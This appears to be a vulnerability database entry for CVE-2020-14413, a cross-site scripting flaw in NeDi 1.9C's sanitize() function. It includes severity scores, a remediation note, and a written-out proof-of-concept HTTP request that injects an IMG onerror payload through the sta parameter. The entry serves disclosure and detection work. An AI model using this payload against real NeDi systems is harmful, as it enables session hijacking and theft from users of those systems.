| Title | NeDi 1.9C - Cross-Site Scripting |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a patched version of NeDi or apply the vendor-supplied patch to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.15743 |
| CVE ID | CVE-2020-14413 |
| CWE ID | CWE-79 |
| Tags | cve cve2020 nedi xss vuln |
NeDi 1.9C is vulnerable to cross-site scripting because of an incorrect implementation of sanitize() in inc/libmisc.php. This function attempts to escape the SCRIPT tag from user-controllable values, but can be easily bypassed, as demonstrated by an onerror attribute of an IMG element as a Devices-Config.php?sta= value.
GET /Devices-Config.php?sta=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.10
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-14413.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-14413.pcap
N/AN/A